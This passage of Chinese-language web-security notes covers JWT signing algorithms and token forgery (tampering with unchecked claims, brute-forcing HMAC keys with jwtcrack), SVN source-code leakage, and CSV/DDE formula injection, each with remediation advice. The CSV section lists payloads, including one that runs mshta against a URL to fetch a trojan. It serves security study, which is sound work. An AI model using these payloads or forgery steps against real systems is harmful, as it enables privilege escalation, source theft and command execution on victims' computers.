HMAC加密主要使用对称密钥,该密钥在生成令牌时被存储在服务器端。HMAC基于哈希加密算法,通过哈希函数和密钥组合来生成一个消息摘要,并使其不可被篡改
RSA
见过
RSA加密主要使用公钥/私钥对,其中公钥是用于加密信息的,而私钥则用于解密信息。 RSA加密模式可以使用公钥加密JWT中的数据,然后使用私钥来验证JWT的签名
ECDSA
ECDSA是一种签名算法,它使用椭圆曲线来实现数字签名。ECDSA与RSA相比,更适合在移动设备上进行数字签名
EdDSA
这是一种基于椭圆曲线密码学的数字签名算法,被广泛应用于高度安全的系统中
AES-GCM
这是一种对称加密算法,可为数据提供完整性保护和机密性保护
等
RSASSA-PSS
PBES2
这是一种基于密码的加密方式,它使用密码与密钥派生函数来处理数据。PBES2支持多个加密模式和哈希算法
A128KW、A192KW、A256KW
这些是用于连接JWE(JSON Web Encryption)标头的AES Key Wrap算法。它们可以确保在传输加密的JSON对象时提供完整性和保密性
A128GCMKW、A192GCMKW、A256GCMKW
这些是另一种用于连接JWE标头的AES Key Wrap算法。它们与第8点中的AES Key Wrap算法不同,因为它们使用了更安全和更快速的加密块模式
签名的生成
1. 对头部和载荷进行 JSON 数据进行base64编码,形成两个字符串
2. 将两个字符串用 "." 连接起来,组成 JWT 完整的未签名令牌。
3. 根据所选的算法和密钥,对令牌进行数字签名计算。
HMAC:将令牌通过密钥与哈希函数进行计算,并生成固定长度的签名字符串。
RSA:使用私钥对 payload 进行签名计算,在签名后的令牌中添加签名信息。
4. 将签名加入到 JWT 中,构成一个新的 JWT 令牌。
5. 发送者在发出请求时,将JWT 放到 HTTP 请求的 Authorization 首部中或请求体 (POST、PUT等),并且在首部中声明使用的是哪种签名类型。
6. 接收方在收到 JWT 后提取其中的头部、载荷和签名信息并根据公钥与相应的验证规则完成对 JWT 的验证过程,以判断该 JWT 是否可信。
漏洞详情
准确来说 JWT 本身是没有漏洞的,它的问题主要与它的签名算法有关,当它的签名算法存在弱点时(比如密钥泄露、密钥易爆破等),可能造成被攻击者修改 JWT 令牌中的声明(也就是payload),然后将其重新进行 base64 编码,并加密生成签名,从而造成越权、注入等漏洞 (注入的原理是,JWT 令牌传送的就是一些 JSON 键值对,当用户可以操作其中的参数。且服务器未对其输入进行过滤就代入SQL中时,就可能造成注入漏洞) (越权的话就更好理解了,将代表用户权限的部分修改为管理员即可)
漏洞利用
服务器未做签名校验
使用 burp 拦截流量包,将其中的 JWT 令牌复制出来,放到 burp 的扩展工具 JSON web token 中,将其解码
修改其中可能存在漏洞的参数,如表示用户权限的参数、或用户ID
使用 base64 进行编码,并替换其中的 '+' -> '-', '/' -> '_' 删除 '=',将其拼接成新的 JWT 令牌,替换原有令牌后发送即可
服务器进行了签名校验
使用 burp 获取 JWT 令牌,并使用工具(jwtcrack)爆破其密钥,加密方法可以从其头部的 alg 中查看,此工具只支持HS256, HS384 or HS512,能不能成功在于你的密码字典
破解出密码之后的利用方式与上面的方法一样,只是在生成 base64 编码后将其使用相同的加密方式和密钥进行加密,形成签名,并将其替换原有签名,然后发送即可
漏洞修复
将 JWT 存储为 HttpOnly 的 Cookie,确保只有服务器可以读取该 Cookie,从而提高安全性。
定期更换 JWT 密匙,减小 JWT 被攻破的风险。另外,不要在 JWT 中存储敏感信息或私密信息,尽量只存储非敏感的基础信息。
svn 源码泄露漏洞
svn 介绍
SVN是Subversion的缩写,是一种流行的版本控制系统。它允许多个开发人员在同一个文件或项目上协作,并管理修改、提交、分支、合并等操作,以确保软件开发的顺利进行。 使用SVN管理本地代码过程中,会生成一个名为.svn的隐藏文件夹,其中包含重要的源码信息
漏洞原理
该漏洞通常是由于 SVN 服务器配置不当、漏洞未及时修复或者攻击者利用其他漏洞入侵服务器并获取源代码所导致的。
攻击者可以通过目录遍历、扫描等方法获得 SVN 仓库的 URL。 此外,如果 SVN 服务器未经适当的身份验证、授权和访问限制,则攻击者甚至可以在未登录的情况下直接下载 SVN 仓库的源代码。 当 SVN 仓库的源代码遭到泄露时,攻击者可能会利用其中的代码片段来发起恶意攻击或窃取敏感数据,这对开发团队和企业都具有很大的危害性。
漏洞利用
主要通过 svnExploit 和 Seay-svn 工具dump源码
漏洞修复
对 SVN 服务器进行严格的身份验证和权限控制;
配置合适的防火墙规则、日志监测和追溯机制;
实时跟踪最新的安全漏洞,并及时更新 SVN 服务器的相关补丁与防护措施;
在 SVN 服务器及开发环境中加强安全检查,避免源码泄露的风险。
CSV注入(DDE)
漏洞详情
漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL会调用本身的动态功能,执行攻击者的恶意代码,从而控制用户计算机。
漏洞原理
这个漏洞主要是利用了用户可以控制的可输出到csv文件中的内容导致的。当用户输入恶意内容时,可能导致受害者 Excel 通过 DDE 执行用户输入的命令,实现各种攻击效果
DDE(Dynamic Data Exchange) 动态数据交换,它是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都 可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。
调用DDE需要在文件->选项->信任中心->信任中心设置->外部内容中开启
漏洞利用
找到会输出到 CSV 文件中的可控参数,输入 payload,等待受害者下载文件,并点击两次确定,即可实现命令执行 注意:受害者需要在Excel 选项中开启 DDE,否则会报错要求受害者开启 DDE,这个选项是默认关闭的
payload
=1+cmd|'/C 命令'!A0
这是主要的payload结构其中的 1 和 A0 可以替换为其他,A0是单元格
=1+cmd|'/C mshta https://www.baidu.com'!A0
使用 cmd 执行 mshta 命令访问指定网址,这里可以下载自己的木马
mshta是Windows系统自带的一个可执行文件,它是HTML应用程序的一种运行方式,可以理解成他会打开一个浏览器,在以管理员身份运行MSHTA时,可以使用其强大的功能执行系统级任务
=1+cmd|'/C calc'!A0
打开计算器
修复建议
禁止用户输入 '=' '-' '+' '@' 这类符号
如果需要显示这些符号,可以默认在这些符号前加上单引号 ',在Excel 中这意味着此单元格不包含公式,同时引号本身并不会显示出来